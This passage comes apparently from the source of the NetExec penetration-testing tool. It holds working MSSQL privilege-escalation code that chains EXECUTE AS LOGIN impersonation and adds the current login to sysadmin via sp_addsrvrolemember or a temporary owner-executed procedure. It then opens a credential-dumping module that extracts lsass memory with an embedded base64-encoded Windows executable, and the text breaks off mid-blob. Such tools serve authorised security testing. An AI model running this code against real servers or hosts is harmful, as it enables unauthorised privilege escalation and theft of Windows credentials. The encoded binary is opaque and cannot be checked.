Returns ------- User: The user that can be impersonated. """ if initial_user.is_sysadmin: self.context.log.success(f"{initial_user.username} is sysadmin") return initial_user elif initial_user.dbowner: self.context.log.success(f"{initial_user.username} can privesc via dbowner") return initial_user for grantor in user.grantors: if grantor.is_sysadmin: self.context.log.success(f"{user.username} can impersonate: {grantor.username} (sysadmin)") return grantor elif grantor.dbowner: self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)") return grantor else: self.context.log.display(f"{user.username} can impersonate: {grantor.username}") return self.browse_path(context, initial_user, grantor) def query_and_get_output(self, query): return self.mssql_conn.sql_query(query) def sql_exec_as(self, grantors: list) -> str: """ Generates an SQL statement to execute a command using the specified list of grantors. Parameters ---------- grantors (list): A list of grantors, each representing a login. Returns ------- str: The SQL statement to execute the command using the grantors. """ exec_as = [f"EXECUTE AS LOGIN = '{grantor}';" for grantor in grantors] return "".join(exec_as) def perform_impersonation_check(self, user: User, grantors=None): """ Performs an impersonation check for a given user. Args: ---- user (User): The user for whom the impersonation check is being performed. grantors (list): A list of grantors. Default is an empty list. Returns: ------- None Description: This function checks if the user has the necessary privileges to perform impersonation. If the user has the necessary privileges, the function returns without performing any further checks. If the user does not have the necessary privileges, the function retrieves a list of grantors who can impersonate the user and performs the same impersonation check on each grantor recursively. If a new grantor is found, it is added to the list of grantors and the impersonation check is performed on it. Example Usage: perform_impersonation_check(user, grantors=['admin', 'manager']) """ # build EXECUTE AS if any grantors is specified if grantors is None: grantors = [] exec_as = self.sql_exec_as(grantors) # do we have any privilege ? if self.update_priv(user, exec_as): return # do we have any grantors ? new_grantors = self.get_impersonate_users(exec_as) for new_grantor in new_grantors: # skip the case when we can impersonate ourself if new_grantor == user.username: continue # create a new user and add it as a grantor of the current user if new_grantor not in grantors: new_user = User(new_grantor) new_user.parent = user user.grantors.append(new_user) grantors.append(new_grantor) # perform the same check on the grantor self.perform_impersonation_check(new_user, grantors) def update_priv(self, user: User, exec_as=""): """ Update the privileges of a user. Args: ---- user (User): The user whose privileges need to be updated. exec_as (str): The username of the user executing the function. Returns: ------- bool: True if the user is an admin user and their privileges are updated successfully, False otherwise. """ if self.is_admin_user(user.username): user.is_sysadmin = True self.context.log.debug(f"Updated {user.username} to is_sysadmin") return True user.dbowner = self.check_dbowner_privesc(exec_as) return user.dbowner def get_current_username(self) -> str: """ Retrieves the current username. :param self: The instance of the class. :return: The current username as a string. :rtype: str """ return self.query_and_get_output("select SUSER_NAME()")[0][""] def is_admin(self, exec_as="") -> bool: """ Checks if the user is an admin. Args: ---- exec_as (str): The user to execute the query as. Default is an empty string. Returns: ------- bool: True if the user is an admin, False otherwise. """ res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')") self.revert_context(exec_as) is_admin = res[0][""] self.context.log.debug(f"IsAdmin Result: {is_admin}") try: if int(is_admin): self.context.log.debug("User is admin!") self.admin_privs = True return True else: return False except ValueError: self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.") return False def get_databases(self, exec_as="") -> list: """ Retrieves a list of databases from the SQL server. Args: ---- exec_as (str, optional): The username to execute the query as. Defaults to "". Returns: ------- list: A list of database names. """ res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases") self.revert_context(exec_as) self.context.log.debug(f"Response: {res}") self.context.log.debug(f"Response Type: {type(res)}") return [table["name"] for table in res] def is_db_owner(self, database, exec_as="") -> bool: """ Check if the specified database is owned by the current user. Args: ---- database (str): The name of the database to check. exec_as (str, optional): The name of the user to execute the query as. Defaults to "". Returns: ------- bool: True if the database is owned by the current user, False otherwise. """ query = f""" SELECT rp.name AS database_role FROM [{database}].sys.database_role_members drm JOIN [{database}].sys.database_principals rp ON (drm.role_principal_id = rp.principal_id) JOIN [{database}].sys.database_principals mp ON (drm.member_principal_id = mp.principal_id) WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER """ res = self.query_and_get_output(exec_as + query) return bool(res and "database_role" in res[0] and res[0]["database_role"] == "db_owner") def find_dbowner_priv(self, databases, exec_as="") -> list: """ Finds the list of databases for which the specified user is the owner. Args: ---- databases (list): A list of database names. exec_as (str, optional): The user to execute the check as. Defaults to "". Returns: ------- list: A list of database names for which the specified user is the owner. """ return [database for database in databases if self.is_db_owner(database, exec_as)] def find_trusted_databases(self, exec_as="") -> list: """ Find trusted databases. :param exec_as: The user under whose context the query should be executed. Defaults to an empty string. :type exec_as: str :return: A list of trusted database names. :rtype: list """ query = """ SELECT d.name AS DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id INNER JOIN sys.databases d ON suser_sname(d.owner_sid) = p.name WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') AND r.type = 'R' AND r.name = N'sysadmin' """ result = self.query_and_get_output(exec_as + query) self.revert_context(exec_as) return result def check_dbowner_privesc(self, exec_as=""): """ Check if a database owner has privilege escalation. :param exec_as: The user to execute the check as. Defaults to an empty string. :type exec_as: str :return: The first trusted database that has a database owner with privilege escalation, or None if no such database is found. :rtype: str or None """ databases = self.get_databases(exec_as) dbowner_privileged_databases = self.find_dbowner_priv(databases, exec_as) trusted_databases = self.find_trusted_databases(exec_as) for db in dbowner_privileged_databases: if db in trusted_databases: return db def do_dbowner_privesc(self, database, exec_as=""): """ Executes a series of SQL queries to perform a database owner privilege escalation. Args: ---- database (str): The name of the database to perform the privilege escalation on. exec_as (str, optional): The username to execute the queries as. Defaults to "". Returns: ------- None """ self.query_and_get_output(exec_as) self.query_and_get_output(f"use {database};") query = """CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER as begin EXEC sp_addsrvrolemember '{self.current_username}','sysadmin' end""" self.query_and_get_output(query) self.query_and_get_output("EXEC sp_elevate_me;") self.query_and_get_output("DROP PROCEDURE sp_elevate_me;") self.revert_context(exec_as) def do_impersonation_privesc(self, username, exec_as=""): """ Perform an impersonation privilege escalation by changing the context to the specified user and granting them 'sysadmin' role. :param username: The username of the user to escalate privileges for. :type username: str :param exec_as: The username to execute the query as. Defaults to an empty string. :type exec_as: str, optional :return: None :rtype: None """ # change context if necessary self.query_and_get_output(exec_as) # update our privilege self.query_and_get_output(f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'") self.revert_context(exec_as) def get_impersonate_users(self, exec_as="") -> list: """ Retrieves a list of users who have the permission to impersonate other users. Args: ---- exec_as (str, optional): The context in which the query will be executed. Defaults to "". Returns: ------- list: A list of user names who have the permission to impersonate other users. """ query = """SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name like 'IMPERSONATE%'""" res = self.query_and_get_output(exec_as + query) self.revert_context(exec_as) return [user["name"] for user in res] def remove_sysadmin_priv(self) -> bool: """ Remove the sysadmin privilege from the current user. :return: True if the sysadmin privilege was successfully removed, False otherwise. :rtype: bool """ self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'") return not self.is_admin() def is_admin_user(self, username) -> bool: """ Check if the given username belongs to an admin user. :param username: The username to check. :type username: str :return: True if the username belongs to an admin user, False otherwise. :rtype: bool """ res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')") is_admin = res[0][""] try: if is_admin != "NULL" and int(is_admin): self.admin_privs = True self.context.log.debug(f"Updated: {username} is admin!") return True else: return False except ValueError: self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.") return False def revert_context(self, exec_as): """ Reverts the context for the specified user. Parameters ---------- exec_as (str): The user for whom the context should be reverted. Returns ------- None """ self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE")) NetExec-1.5.1/nxc/modules/nanodump.py000066400000000000000000006637771514706431700175460ustar00rootroot00000000000000# nanodump module for nxc python3 # author of the module : github.com/mpgn # nanodump: https://github.com/helpsystems/nanodump import os import base64 import sys from pypykatz.pypykatz import pypykatz import tempfile from datetime import datetime from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import CATEGORY from nxc.protocols.mssql.mssqlexec import MSSQLEXEC class NXCModule: name = "nanodump" description = "Get lsass dump using nanodump and parse the result with pypykatz" supported_protocols = ["smb", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): self.connection = None self.dir_result = None self.remote_tmp_dir = None self.useembeded = None self.nano = None self.nano_path = None self.nano_embedded64 = None self.tmp_share = None self.share = None self.context = context self.module_options = module_options def options(self, context, module_options): r""" TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\) NANO_PATH Path where nano.exe is on your system (default: OS temp directory) NANO_EXE_NAME Name of the nano executable (default: nano.exe) DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH) """ self.remote_tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.remote_tmp_dir.split(":")[1] self.nano_embedded64 = base64.b64decode( "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